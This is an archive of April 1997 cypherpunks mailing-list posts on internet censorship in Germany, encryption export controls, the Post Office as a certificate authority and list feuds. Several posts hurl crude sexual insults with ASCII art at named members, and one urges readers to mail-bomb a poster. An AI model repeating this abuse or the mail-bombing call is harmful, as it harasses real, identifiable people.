Bart Lidofsky responded to the NoCeM articles by saying:

"I consider these messages to be a form of harassment, and will treat them
as such."

I have also seen several claims that the NoCeM notices themselves are
"spam".  Apparently, this term now applies to any traffic that the user
doesn't like for any reason.

I understand that other issuers of NoCeMs have also received threats, and at
least one poster has been forging old-fashioned cancels for the NoCeM
notices that mention his articles (another good reason to stop processing
all old-fashioned cancels).

Dimitri "co-proponent of news.lists.filters where NoCeM notices are posted"
Vulis  Dr.Dimitri Vulis KOTM

------------------------------

End of RISKS-FORUM Digest 19.10 
************************


Standard Risks reuse disclaimer:

  Reused without explicit authorization under blanket
  permission granted for all Risks-Forum Digest materials.
  The author(s), the RISKS moderator, and the ACM have no
  connection with this reuse.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 23 Apr 1997 06:38:53 -0700 (PDT)
To: cypherpunks@toad.com
Subject: EC Electronic Commerce Report
Message-ID: <1.5.4.32.19970423133733.0091633c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The European Commission has issued a major initiative
for electronic commerce in competition and contrast with 
that of the US being readied for release shortly by Ira 
Magaziner. Online privacy and information security are 
featured.

   http://jya.com/ecomcom.htm  (110K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jim Burnes" <jim.burnes@ssds.com>
Date: Wed, 23 Apr 1997 09:04:17 -0700 (PDT)
To: kent@songbird.com>
Subject: Re: Generic announcement
Message-ID: <199704231603.KAA12350@denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Tue, 22 Apr 1997 18:37:23 -0700
> From:          Kent Crispin <kent@songbird.com>
> To:            cypherpunks@toad.com
> Subject:       Generic announcement

> This is from a story on Top Level Domain Names.  Seems like it could apply 
> to anything:
  
> "In Washington DC, officials from the White House, federal agencies and
> Congress say regulations may be necessary to promote a free-market   
> system. A White House inter-agency taskforce was due to meet last
> week, after CWI's press deadline, to discuss the matter."
> 
Thats about the most humorous thing I've read all week.  Typical 
socialist mindset "we had to control it to set it free".  Sort of 
like "we had to destroy the village to save it."

This must be the same Orwellian mindset that gave birth to the Waco
"Hostage Rescue Team" concept.

Please don't rescue me.  

War is Peace
Love is Hate

I love big brother.

Jim Burnes
Engineer, Western Security, SSDS Inc
jim.burnes@ssds.com
----
Sometimes it is said that man cannot be trusted with the government
of himself.  Can he, then, be trusted with the government of others?
Or have we found angels in the forms of kings to govern him?  Let
history answer this question.  -Thomas Jefferson, 1st Inaugural Addr





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Wed, 23 Apr 1997 11:31:58 -0700 (PDT)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199704231800.LAA15657@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy May is just another garden variety Intel pansy that has 
been misusing its `manhole' so badly that the overstretched 
sphincter cannot hold back the shit that all Intellers are full 
of and it spills out onto this mailing list.

      ,/         \,
     ((__,-,,,-,__)), Timothy May
      `--)~   ~(--`
     .-'(       )`-,
     `~~`d\   /b`~~`
         |     |
         (6___6)
          `---`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 23 Apr 1997 10:42:53 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Bombing Denver? / Or: How Capt. Button Learned to Stop
In-Reply-To: <3351BDB6.1FFE@sk.sympatico.ca>
Message-ID: <6oDm6D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Timothy C. May wrote:
>  
> > The A-10 is believed by Reliable Sources to have been on its way to bomb
> > the Federal Building, while the McVeigh trial was starting, in Denver.
> > 
> > (I'm on some strange lists and can't vouch for this revelation.)
> 
>   Which begs the question, "Would those lists be strange if you
> 'weren't'
> on them?"

Is Timmy `C' May on his own "do not hire" list?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 23 Apr 1997 10:30:56 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Plain Text / InterNet Free Terra
In-Reply-To: <3356E038.1636@sk.sympatico.ca>
Message-ID: <1iem6D11w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


InterNet Free Terra <carljohn@sk.sympatico.ca> writes:

>     "The Internet interprets censorship as damage, and routes around it"
>                                 John Gilmore

Whose cow should moo.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tank <tank@xs4all.nl>
Date: Wed, 23 Apr 1997 02:40:26 -0700 (PDT)
To: tank@xs4all.nl
Subject: Wired news: German Network Lifts Ban on Dutch ISP
Message-ID: <199704230939.LAA22689@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain


>From www.wired.com:


German Network Lifts Ban on Dutch ISP 

With mirror sites defeating its attempt to shutter a left-wing
magazine, Germany's main academic network has called off the blockade.
The network acted 11 April after prosecutors warned that Radikal
magazine, hosted by Dutch ISP XS4ALL, was illegal. The network then
blocked XS4ALL, which hosts 6,000 Web sites. Protests included
widespread mirroring of Radikal. "An effective barrier to the illegal
content was not possible," a network spokesman told the Associated
Press Tuesday.






XS4ALL Internet BV - Felipe Rodriquez-Svensson - finger felipe@xs4all.nl
for 
Managing Director  -                           - pub pgp-key 1024/A07C02F9 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Banisar <Banisar@epic.org>
Date: Wed, 23 Apr 1997 09:40:08 -0700 (PDT)
To: news@epic.org
Subject: Groups Protest German Compuserve Prosecution
Message-ID: <v03020903af83e9ef20c3@[204.91.138.227]>
MIME-Version: 1.0
Content-Type: text/plain



PRESS RELEASE
April 23, 1997
www.gilc.org

       LETTER TO CHANCELLOR KOHL URGES INVESTIGATION
                  OF COMPUSERVE PROSECUTION

A coalition of civil liberties organizations from a dozen countries
has written to German Chancellor Helmut Kohl to express concern
about the prosecution of an official from the Compuserve
company which is making makes available Internet access to
German subscribers. The official has been indicted by local
prosecutors.

The letter states the prosecution of the Compuserve manager Mr. Felix
Somm is "ill-advised for both technical and regulatory reasons"
and will "have a harmful impact on Internet users around the world."

The groups said that "the charges against CompuServe will establish a
harmful precedent, and may encourage other governments to censor speech,
limit political debate, control artistic expression, and otherwise deny the
opportunity for individuals to be fully informed."

The organizations signing the letter, which was organized by the
Global Internet Liberty Campaign, include the American Civil Liberties
Union, Arge Daten, Association des Utilisateurs d'Internet, Derechos
Human Rights, the Electronic Frontier Foundation, Human Rights Watch,
the Internet Society, and Privacy International.

Felipe Rodriquez, the administrator for XS4ALL, an internet provider
that was recently blocked by German authorities in a separate
matter said, "Is is not possible for a provider to censor the Internet
according to the local law, custom or tradition. The Internet is too
international and too dynamic for that to be possible. Censoring the
Internet has, in most cases, proved to be counterproductive."

Andy Oram, a member of the Computer Professionals for Social
Responsibility in the United States, said that he thought the
attempts by German to limit use of the Internet in this manner
were impractical. "Even if an Internet provider is notified that
illegal material is coming from a certain site and cuts off all
access to that site, the publisher of the material can easily find
another site from which to send it."

The groups also noted their support for efforts now underway in
the German parliament to liberalize the use of the Internet.
"We believe that the measure now under consideration to reduce
liability for Internet services will do much to ensure the protection
of personal freedoms in the future," said the organizations.

The Global Internet Liberty Campaign was established at the annual
meeting of the Internet Society in June 1996 in Montreal. It maintains
a web site at www.gilc.org with links to all of the member
organizations.

Last September the group organized a conference in Paris to
educate members of the Organization for Economic Cooperation
and Development about the need to develop cryptography polices
that protected privacy and fundamental human rights. Aspects
of the GILC recommendations were incorporated in the OECD
Cryptography Guidelines released earlier this year.


-----------------------------------------------------------------------

                 GLOBAL INTERNET LIBERTY CAMPAIGN

                            WWW.GILC.ORG




April 23, 1997

Chancellor Helmut Kohl
Adenauerallee 141
53113 Bonn
GERMANY

Dear Chancellor Kohl,

	The undersigned organizations, members of the Global Internet
Liberty Campaign, are writing to express concern about the prosecution of
Felix Somm, German representative of CompuServe, for the transmission of
allegedly illegal materials over the Internet. The news reports we have
received indicate that Mr. Somm is being prosecuted because Internet users
are able to obtain information on the Internet, by means of the  CompuServe
service, that may be considered illegal in Germany.

	We believe that the prosecution of the CompuServe manager is
ill-advised for both technical and regulatory reasons. We also believe that
this prosecution violates international norms for the protection of speech
and will have a harmful impact on Internet users around the world.

	There are two technical factors that prevent an service provider,
such as CompuServe, from blocking the free flow of information on the
Internet. First, an Internet service provider cannot easily stop the
incoming flow of material. No one can monitor the enormous quantity of
network traffic, which may consist of hundreds of thousands of emails,
newsgroup messages, files, and Web pages that pass through in dozens of
text and binary formats, some of them readable only by particular
proprietary tools. As the European Commission noted recently, "it is
as yet unclear how far it is technically possible to block access to
content once it is identified as illegal. This is a problem which
also affects the degree of liability of the access providers."

 	A second technical problem is that a provider cannot selectively
disable transmission to particular users. Electronic networks typically do
not allow for the identification of particular users or their national
region. Thus, we support CompuServe's claim that it cannot provide material
in one country while blocking it in another; such a distinction would
require an enormous new infrastructure on top of the current network.

	Some networking technologies, such as newsgroups, may allow
individual operators to select some groups or items and block others. But
many technologies, such as the widely used World Wide Web, currently do not
support such selectivity.

	We also oppose the prosecution of CompuServe because of the harmful
impact it will have on the development of new communication services around
the globe. The great appeal of the Internet is its openness. Efforts to
restrict the free flow of information on the Internet, like efforts to
restrict what may be said on a telephone, would place unreasonable burdens
on well established principles of privacy and free speech.

 	We believe that the charges against CompuServe will establish a
harmful precedent, and may encourage other governments to censor speech,
limit political debate, control artistic expression, and otherwise deny the
opportunity for individuals to be fully informed. The Universal Declaration
of Human Rights, adopted by the United Nations General Assembly on December
10, 1948, states:

       ARTICLE 19. Everyone has the right to freedom of opinion and
       expression; this right includes freedom to hold opinions without
       interference and to seek, receive and impart information and
       ideas through any media and regardless of frontiers.

	At the same, we are very much encouraged by the recent developments
in the German parliament concerning new approaches to the regulation of
Internet services. In particular, we believe that the measure now under
consideration to reduce liability for Internet services will do much to
ensure the protection of personal freedoms in the future.

	On behalf of the undersigned organizations and many Internet users
around the world, we ask you to investigate the matter of Mr. Somm and to
lend your support to policies that would promote the development of this
new communications technology in a manner consistent with the aims and
aspirations of democratic countries.

cc:    Dr. Edzard Schmidt-Jortzig.
       Federal Minister of Justice


			Respectfully yours,

                        (Listing of organizations)


ALCEI - Electronic Frontiers Italy [www.nexus.it/alcei]

American Civil Liberties Union [www.aclu.org]

Arge Daten [www.ad.or.at]

Association des Utilisateurs d'Internet [www.aui.fr]

Bevcom Internet Technologies [www.bevcom.org]

C.I.T.A.D.E.L. Electronic Frontier France [www.citadeleff.org]

Committee to Protect Journalists [www.cpj.org]

Computer Professional for Social Responsibility [www.cpsr.org]

Cyber-Rights & Cyber-Liberties (UK) [www.leeds.ac.uk/law/pgs/yaman/yaman.htm]

Derechos Human Rights [www.derechos.org]

Electronic Frontiers Australia [www.efa.org.au]

Electronic Frontier Canada [www.efc.ca]

Electronic Frontier Foundation [www.eff.org]

EFF-Austin [www.eff-austin.org]

Electronic Privacy Information Center [www.epic.org]

FITUG [www.fitug.de]

Fronteras Electronicas España (FrEE) [www.las.es/free]

Human Rights Watch [www.hrw.org]

Internet Society [www.isoc.org]

NetAction [www.netaction.org]

Peacefire [www.peacefire.org]

Privacy International [www.privacy.org/pi/]

XS4ALL [www.xs4all.nl]


[end]


=========================================================================
David Banisar (Banisar@epic.org)                *    202-544-9240 (tel)
Electronic Privacy Information Center           *    202-547-5482 (fax)
666 Pennsylvania Ave, SE, Suite 301             *    HTTP://www.epic.org
Washington, DC 20003
PGP Key: http://www.epic.org/staff/banisar/key.html
=========================================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Trevor Goodchild <trevorg@dhp.com>
Date: Wed, 23 Apr 1997 12:43:22 -0700 (PDT)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <Pine.LNX.3.95.970423154052.27399B-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimi Vulis is just another garden variety KGB whore that has 
been misusing its `manhole' so badly that the overstretched 
sphincter cannot hold back the shit that all KGB spooks are full 
of and it spills out onto this mailing list.
 
      ,/         \,
     ((__,-,,,-,__)), Dimi Vulis
      `--)~   ~(--`
     .-'(       )`-,
     `~~`d\   /b`~~`
         |     |
         (6___6)
          `-6-`
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 23 Apr 1997 15:53:27 -0700 (PDT)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: Fwd:Clinton and RSA, True?
In-Reply-To: <199704221739.NAA16574@life.ai.mit.edu>
Message-ID: <199704232249.RAA06587@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199704221739.NAA16574@life.ai.mit.edu>, on 04/22/97 at 11:45 AM,
   "Phillip M. Hallam-Baker" <hallam@ai.mit.edu> said:



>>Yet, at the same time the Clinton administration attemped to
>>lump out nearly a billion dollars to buy a US company.  This
>>smaller, "leaner", US Government, according to Ira Sockowitz, a
>>former Commerce employee appointed by Bill Clinton, ordered him
>>to meet with RSA Inc. Chairman James Bidzos.  The topic of that
>>meeting was the official desire to secretly purchase RSA Inc.
>>using taxpayer money.

>[drivel deleted]

>Cyber dog loses points for the following:-

>NO mention of the Zarapuder film.

Yes I do believe that 1 bullet produced the 7 wounds to Kennedy's back &
neck and Connally's back, ribs, wrist & thigh then lands on the floor of
the car without a scratch. Yep, uh-hu uh-hu. 

I'm sure you will have no problem switching to the government's new
GAK-2000 crypto algorithm. They wouldn't lie or do anything wrong, would
they? Those back doors are only for nasty drug dealers & terrorist they
would never look at what you were doing, honest. :)

>NO explanation of Vince Foster's death.

The Clintons *know* who killed him or had him killed and why.

>NO consideration given to the credible evidence of UFO sightings. 

Why are they here? Looking for signs of intelligent life.

Why haven't they stayed? Never found any.

>Quite why the US govt. would want to buy RSA is beyond me. They already
>have a license to use RSA for internal purposes, the patent expires in
>three years in any case. Even if RSA was completely banned it would still
>be possible to use El-Gamal and variants for encryption and digital
>signatures.

>False, and no more than 3/10 for effort.


Shame, shame, shame for using the same tactics that the government uses
when countering someone that disagrees with them. Make them out to be some
type of wacko rather than address the issue at hand: Is or was the
government trying to secretly purchase or gain control of RSA, Inc.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Bugs come in through open Windows.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM16hQI9Co1n+aLhhAQEmjwP+KnzV/2mNxr4Z9139VAg66iGe0/dVK4N+
sz1UdXjrE33ypDPvktBHSCQCI8h+Su9lNoo2FsdAiEZLTalXeHxLGqB7HZE0IouT
XCbFY+VOJPolTDJS+palwj7951EeSJniWuiP0jGlaWk7I+fw20rrbc+dEZQEqKR6
0ELBsp9u6GA=
=DKD5
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 23 Apr 1997 16:37:44 -0700 (PDT)
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: your mail
In-Reply-To: <199704231800.LAA15657@sirius.infonex.com>
Message-ID: <Pine.A41.3.95.970423173521.45118B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 23 Apr 1997, Mix wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timothy May is just another garden variety Intel pansy that has 
> been misusing its `manhole' so badly that the overstretched 
> sphincter cannot hold back the shit that all Intellers are full 
> of and it spills out onto this mailing list.
> 
>       ,/         \,
>      ((__,-,,,-,__)), Timothy May
>       `--)~   ~(--`
>      .-'(       )`-,
>      `~~`d\   /b`~~`
>          |     |
>          (6___6)
>           `---`
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 23 Apr 1997 16:16:13 -0700 (PDT)
To: cypherpunks@toad.com
Subject: BXA to Newt
Message-ID: <1.5.4.32.19970423231422.008b4af0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks to Greg Broiles we offer a December 1996 letter
from BXA's William Reinsch to Speaker Gingrich with a
Report to Congress on the purpose and plan of export 
controls of commercial encryption items.

   http://jya.com/bxahouse.htm

One note of interest: a battalion of crypto enforcement troops 
is being trained to spot EAR EI violations and nab Bernsteins,
Karns, Jungers and rogues.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 23 Apr 1997 16:59:33 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Texas declares war...
Message-ID: <v0302095faf845187deee@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


I love April 19th.

Patriot's Day, indeed...

<http://www.overland.net/~embthert/em03019.html>



Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"...Wells Fargo's on-line banking sucks dead gerbils
through a dirty garden hose." -- Eric Murray
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Wed, 23 Apr 1997 20:29:47 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Get ZDNet on PointCast - FREE!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.15666.04231997200005.115364@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain


-----------------------------------------------------------------
   ZDNET ANNOUNCEMENT          4/24/97
-----------------------------------------------------------------

Announcing ZDNet on PointCast:  Get ZDNet broadcast directly 
to your desktop - Free! 

With the new ZDNet channel on the PointCast Network, you can 
now have ZDNet's comprehensive computing and Internet news 
delivered directly to your computer screen. You'll receive the 
latest technology news, in-depth product reviews for PC and Mac,
hot new games, shareware programs, and complete coverage of the 
latest Web-related news --  all broadcast to your computer 
screen, free of charge.

To get  your free personalized version of ZDNet broadcast to your
desktop, just visit the following page to download and install the 
PointCast Network software:

http://www.zdnet.com/partners/pcast/download.html

In addition to continuously updated technology news and features 
from leading Ziff-Davis publications,  you can also receive world 
news, stock updates, weather reports, sports scores, and more, 
all free via the PointCast Network!

If you're already a PointCast user, you can find out how to 
update your current version of PointCast with the new ZDNet
Channel by visiting:

http://www.zdnet.com/partners/pcast/upgrade.html

_______________________________________________________________       

ZDNet Announcements are periodic notices of new features,
special events and free offers available to members of ZDNet. 

--To subscribe to ZDNet Announcements, please send mail to:
announce-on@lists.zdnet.com        
You can leave the subject and body blank.        

--To unsubscribe to ZDNet Announcements, please send mail to:
announce-off@lists.zdnet.com       
You can leave the subject and body blank. 
_______________________________________________________________


Powered by Mercury Mail: http://www.merc.com

===============================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 23 Apr 1997 22:18:06 -0700 (PDT)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Texas declares war...
In-Reply-To: <v0302095faf845187deee@[139.167.130.246]>
Message-ID: <3.0.1.32.19970423221332.0065c9d0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:55 PM 4/23/97 -0400, Robert Hettinga wrote:
>I love April 19th.
>
>Patriot's Day, indeed...
>
><http://www.overland.net/~embthert/em03019.html>

Does anybody have a mirror of this site?
I'm getting no response to http or even ping.
Are they just down, or have they been squashed?

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Wed, 23 Apr 1997 20:43:23 -0700 (PDT)
To: cypherpunks@toad.com
Subject: WWW-Survey
Message-ID: <199704240344.XAA01175@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

GVU's Seventh WWW User Survey:

http://www.cc.gatech.edu/gvu/user_surveys/

Lot's of privacy/security questions etc..


Ciao

Harka



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBM17ZWzltEBIEF0MBAQGYMQf9E6W8z9IifU0QD2/3pEEGE2yji7kndh59
aCJ5F5oVVlXF60gQmQ/wFc/24oXvLmS45zpYUgIXFYsi9Ja3y1BfRRe1kbnN1KFQ
KII3TX4H7SrBXmnhxP1YErlsZenWTAwLW8HEvGjWSTwbKXIGQQkm6Shddj+Kzdue
yN9ZUX3eIJeo60Km4JWJzi/fO0+6YPiaI3AcFxltmoNymDfOaviCbxXyL24wJ8B2
wlD1arsBVhT9bs5IB37bUoGDo6OWEzcMOBbY05s9UsAO+Vwp+/+IxAzCNxG8ab32
ed57SrfZSwk4D5oQX+7eZlelU0WvbJA3RsT23LCewwlS9QMmG4Jo1w==
=c1+l
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 24 Apr 1997 01:00:06 -0700 (PDT)
To: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Subject: Re: Texas declares war...
In-Reply-To: <3.0.1.32.19970423221332.0065c9d0@popd.ix.netcom.com>
Message-ID: <3.0.1.32.19970424005856.00664080@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>Bill Stewart <stewarts@ix.netcom.com> writes:
>> ><http://www.overland.net/~embthert/em03019.html>
>> Does anybody have a mirror of this site?
>> I'm getting no response to http or even ping.

Hmmm - it's back now.  False alarm...

At 02:46 AM 4/24/97 -0400, Jeremiah A Blatz wrote:

>As of 4/24 2:42 AM I could see it from the andrew.cmu.edu domain. In
>case you can't get it, the html (no images) should be available via:
><http://www.cs.cmu.edu/afs/andrew/usr/jer/www/texas.txt>. This
>mirroring does not constitute agreement with the contensts of the
>file, blah, blah, blah. (Hell, I didn't even read it all.)



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 23 Apr 1997 23:46:38 -0700 (PDT)
To: stewarts@ix.netcom.com>
Subject: Re: Texas declares war...
In-Reply-To: <3.0.1.32.19970423221332.0065c9d0@popd.ix.netcom.com>
Message-ID: <0nLk6f200YUh1REHE0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart <stewarts@ix.netcom.com> writes:
> At 07:55 PM 4/23/97 -0400, Robert Hettinga wrote:
<snip>
> ><http://www.overland.net/~embthert/em03019.html>
> 
> Does anybody have a mirror of this site?
> I'm getting no response to http or even ping.

As of 4/24 2:42 AM I could see it from the andrew.cmu.edu domain. In
case you can't get it, the html (no images) should be available via:
<http://www.cs.cmu.edu/afs/andrew/usr/jer/www/texas.txt>. This
mirroring does not constitute agreement with the contensts of the
file, blah, blah, blah. (Hell, I didn't even read it all.)

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 24 Apr 1997 02:28:42 -0700 (PDT)
To: stewarts@ix.netcom.com (Bill Stewart)
Subject: Re: Texas declares war...
In-Reply-To: <3.0.1.32.19970423221332.0065c9d0@popd.ix.netcom.com>
Message-ID: <199704240924.EAA20135@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


it is still there. i saved a copy just in case...

igor

Bill Stewart wrote:
> 
> At 07:55 PM 4/23/97 -0400, Robert Hettinga wrote:
> >I love April 19th.
> >
> >Patriot's Day, indeed...
> >
> ><http://www.overland.net/~embthert/em03019.html>
> 
> Does anybody have a mirror of this site?
> I'm getting no response to http or even ping.
> Are they just down, or have they been squashed?
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #     (If this is a mailing list, please Cc: me on replies.  Thanks.)
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 24 Apr 1997 11:37:16 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Post Office to act as CA, creator of keys
In-Reply-To: <3.0.1.32.19970423214619.0078b468@postoffice.pacbell.net>
Message-ID: <e9ZN6D24w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Are the people at C2Net really this clueless, or is this a joke?

Greg Broiles <gbroiles@netbox.com> writes:

...
> >Who in their right mind would *trust* the Post Office to act as a CA?
>
> Have been trying to think of a legitimate reason for the CA to generate keys,
> instead of the end-user; haven't come up with one yet. ...

To keep a copy, obviously.

> The database description doesn't list the private keys among the data that
> the Post Office plans to retain.

Let me see if I follow the C2Net shill's logic:

USPS generates my public/private pair of keys.
USPS doesn't list the private keys as the data USPS plans to retain
Therefore I can assume that they won't retain it.

I guess this fits with everything else C2Net's been doing and saying.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 24 Apr 1997 11:34:01 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Do government employees have freedom of speech?
In-Reply-To: <v03007808af84a6285f4e@[207.167.93.63]>
Message-ID: <Lg1N6D26w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May <tcmay@got.net> writes:

> At 8:53 PM -0800 4/23/97, Bill Frantz wrote:
> >I guess I have to defend my view.  In general, people on this list believe
> >that freedom of speech includes the freedom to lie.  (I seem to remember
> >having an exchange with Tim on the subject of truth in commercial speech a
> >year or so ago.)
>
> I don't recall that. In any case, I am not arguing that the government has
> any responsibility to stop lying, per se, I am saying that _employees_ of
> the U.S. Justice or Treasury or State or Defense Departments are no more
> free to "say whatever they wish" as employees of Apple or Intel or Sun are.

Employees of C2Net don't mind.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 24 Apr 1997 11:30:32 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: The Net is Closing, the U.S. is becoming a Terror State
In-Reply-To: <v03007809af84a7bebec3@[207.167.93.63]>
Message-ID: <Vi1N6D28w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim May <tcmay@got.net> writes:

> cyberpass.net is an unacceptable replacement for toad.com.]

Why, because your Cocksucker pal John Gilmore can't pull plugs?

> We're in a terror state when the War on Drugs, the War on Pornography, the
> War on Terrorism, the War on Guns, and the War on Unlicensed Cryptography
> makes us all criminals.

I've been saying this for some time now.  Any ideas where to emigrate to?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tank <tank@xs4all.nl>
Date: Thu, 24 Apr 1997 00:53:27 -0700 (PDT)
To: tank@xs4all.nl
Subject: EU-summit Amsterdam 16-17 june
Message-ID: <199704240751.JAA26179@xs1.xs4all.nl>
MIME-Version: 1.0
Content-Type: text/plain


A HOT SUMMER IN AMSTERDAM

  On the 16th and 17th of June the Eurotop will take place in
  Amsterdam. During this gathering of European heads of state in the
  Nederlandsche Bank in Amsterdam work will be done on the creation of
  a single economic power. With the market as the key word social
  services will either be privatised or scrapped. Governing policies
